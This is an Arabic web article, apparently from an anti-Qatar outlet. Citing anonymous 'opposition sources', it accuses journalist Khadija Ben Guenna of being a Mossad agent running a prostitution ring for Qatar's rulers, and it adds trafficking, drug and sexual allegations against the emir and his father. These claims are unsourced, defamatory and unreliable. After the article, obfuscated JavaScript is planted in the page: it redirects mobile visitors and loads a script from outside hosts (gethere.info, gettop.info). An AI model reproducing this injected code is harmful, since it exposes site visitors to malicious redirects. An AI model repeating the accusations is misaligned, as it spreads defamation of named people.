téléchargement

الكشف عن أكبر سوق للدعارة في العالم العربي

téléchargement
كشفت المعارضة القطرية عن فضيحة جديدة من فضائح عميلة الموساد الصهيوني الجزائرية خديجة بن قنة، ودورها في تأسييس أكبر سوق للدعارة في العالم العربي لنشر الفاحشة وتجنيد الجواسيس ضد بلدانهم.

تجمع قطر بين جميع الموبقات والجرائم والشرور المنتشرة فى العالم على أراضيها، فبجانب دعمها وتمويلها للإرهاب ماديًا ومعنويًا وإعلاميًا، وبجانب تجارته أيضًا فى المخدارات والسموم تعمل دولة الخيانة فى تجارة البشر و”الدعارة”، ضمن أجنتدها الصهيونية التى تطبقها لتدمير الشعوب العربية.

ولم يجمع أمراء وشيوخ الإمارة الخليجية ثرواتهم الهائلة من عائد النفط والغاز فحسب، بل امتهنوا أحقر وأقدم مهنة عرفتها البشرية وهى مهنة “الدعارة” وتسهيلها داخل الإمارة وخارجها حتى أصبحت فنادق وكازينوهات الدوحة أضخم أوكار لممارسة الرزيلة ونشرها.

وكشفت مصادر بارزة بالمعارضة القطرية، لـ”مصر تايمز”، أن “الدعارة” بدأت فى عهد الأمير الأب حمد بن خليفة آل ثانى، عقب استيلائه على الحكم عام 1995، وزادت هذه الظاهرة فى آخر سنوات عهده قبل أن يسلم ابنه الطائش تميم الحكم فى عام 2013.

وأضافت المصادر أنه تم تكليف الاعلامية الجزائرية خديجة بن قنة بتولي ملف الدعارة، ونجحت بن قنة في المهمة الموكلة اليها بفضل علاقاتها اقوية بالكيان الصهيوني الذي ساهم معها بقوة في نجاح المهمة، فجلبت مئات ثم آلاف الجزائريات من بلدها لتؤسس لأكبر سوق دعارة في العالم العربي في الامارة الصغيرة.

وأكدت المصادر، على أن “الدعارة” تعد من استراتيجية الإمارة الخليجية الصغيرة، لإفساد المجتمع أخلاقيًا ودينيًا، وتغييبه عن الواقع وإبعاده عن السياسة بجانب جنى مليارت الدولارات من وراء هذه المهنة، اضافة الى استخدامها في ايقاع الضحايا العرب الذين يزورون قطر أو يعملون لديها من أجل تجنيدهم ضد بلدانهم.

وأوضحت المصادر، أن “تنظيم الحمدين” – حمد بن خليفة الأمير الأب وحمد بن جاسم رئيس الوزراء السابق- جلبوا الآلاف من “فتيات الليل” خلال السنوات الأخيرة الماضية من الجزائر وفرنسا حيث يتواجد عشرات الآلاف من الجزائريات اللواتي يحترفن الدعارة هناك، وتوسع سوق الدعارة في قطر ليتم جلب كميات أكبر من العاهرات من الدول المعروفة فى ذلك المجال، وعلى رأسها دول الاتحاد السوفيتى سابقا ودول شرق أوروبا، وسمح للقطرين بالزواج منهم، مع العلم أن هذا الأمر كان ممنوعا فى السابق.

وقال المصادر، إن “مزرعة سنان” على طريق الشمال – شمال قطر – والتي تتواجد فيها الاعلامية الجزائرية خديجة بن قنة تعد أكبر وكر للدعارة والمافيا فى المنطقة، وأن هذه المزرعة تخضع لإشراف مباشر من تميم بن حمد، والموساد الصهيوني.

وكشفت المصادر أيضًا، أن تنظيم الحمدين يقوم من خلال عناصره المنتشرة فى المشاريع القطرية بالجزائر، بتجنيد الفتيات الجزائريات وتسفيرهن للدوحة وإجبارهن على العمل بالدعارة، أو الابقاء عليهن في الجزائر لتنفيذ نفس المهمة في الفنادق القطرية المنتشرة في الجزائر، حيث تعد الجزائر اكبر شريك اقتصادي في افريقيا، وتضخ فيها قطر عشرات المليارات في مشاريع السياحة الجنسية وغيرها.

وأوضحت المصادر، أن التنظيم وراء بيع المواد المخدرة داخل قطر والدول التابعة لها وعلى رأسها الجزائر، وبمساعدة أشخاص قطريين، كما يعمل على تنظيم ندوات عن الدعارة لطلاب المدارس، مؤكدين على أن هناك حالات تحرش كبيرة حدثت خلال الأيام القليلة الأخيرة من جانب الضباط والجنود الأتراك الذين جاءوا للبلاد مؤخرًا لحماية تميم وعائلته، وأن النظام الأميرى يغض الطرف عن تلك الانتهاكات الجنسية التى يمارسها الأتراك.

وفى سياق تسهيل الدعارة فى البلاد، كشفت المصادر أن الدوحة وافقت على شروط الاتحاد الدولى لكرة القدم “الفيفا” بشأن إباحة المشروبات الكحولية والخمور والسياحة الجنسية أثناء استضافتها مونديال كأس العالم 2022 .

وأكدت المصادر، على أن الدعارة فى قطر مباحة، وبالتالى موافقتها على إباحة السياحة الجنسية خلال فترة المونديال ليست مفاجأة.

وكان قد انتشرت خلال الفترة الأخيرة فضائح العائلة الأميرية بقطر على مدار السنوات الماضية لدرجة يصعب حصرها وتنوعت ما بين فضائح جنسية وشذوذ وفضائح مالية ومخدرات وغيرها.

ونشرت العديد من الصحف ووسائل إعلام أجنبية، فى عام 2005، أن تميم بن حمد، عندما كان وليا للعهد، تم منعه من دخول ملهى ليلى للمثليين جنسيًا فى لندن لمدة شهر كامل بسبب مشاجرة حدثت بينه وبين شريكه وصديقه مايكل هيرد، والذى أصدر كتابًا يروى فيه علاقته الجنسية بأمير قطر.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))d.getElementsByTagName(‘head’)[0].appendChild(s);

اضف رد

لن يتم نشر البريد الإلكتروني . الحقول المطلوبة مشار لها بـ *

*